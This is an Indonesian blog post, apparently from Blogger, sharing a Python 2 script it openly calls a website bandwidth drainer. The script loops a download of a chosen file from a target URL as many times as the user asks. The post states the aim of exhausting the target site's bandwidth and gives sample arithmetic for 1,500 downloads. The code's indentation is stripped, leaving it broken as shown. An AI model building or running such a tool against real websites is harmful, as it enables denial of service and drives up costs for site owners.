Download Looping

Sebenarnya c ini cuma script untuk download biasa tapi karna ada loopingnya bisa di bilang penguras bandwith (tapi bagi yang bandwith limite y), lumayan lah klo melakukan mendownload dengan besar file 103.269 bytes kalo kita looping download sebanyak 1500x maka kita akan menghabiskan bandwith web tersebut sebesar 154.903.500 bytes atau sekitar (itung aja sendiri itung - itungan gw jelek hehehe..)
  
#!/usr/bin/env python
if __name__ == '__main__':
import sys, string
if len(sys.argv) == 3:
try:
print '\nPenguras BandWidth WebSite'
print '----------------------'
k = sys.argv[1]
k = string.atoi(k)
for i in range(0, k):
import urllib
a = urllib.urlopen(sys.argv[2])
b = open(sys.argv[2].split('/')[-1], 'wb')
b.write(a.read())
a.close()
b.close()
print i,"downloaded ->",sys.argv[2].split('/')[-1]
else:
print '----------------------'
print 'Selesai!'
except IOError:
print 'URL SALAH'
else:
import os
print '\nPenguras BandWidth WebSite'
print '----------------------'
print 'Cara Pakai: ./%s [x] [url_file]\n' % os.path.basename(sys.argv[0])

~Thanks 54v0y~
Download Looping Download Looping Reviewed by Unknown on 3:51 PM Rating: 5
Editor By 54v0y. Powered by Blogger.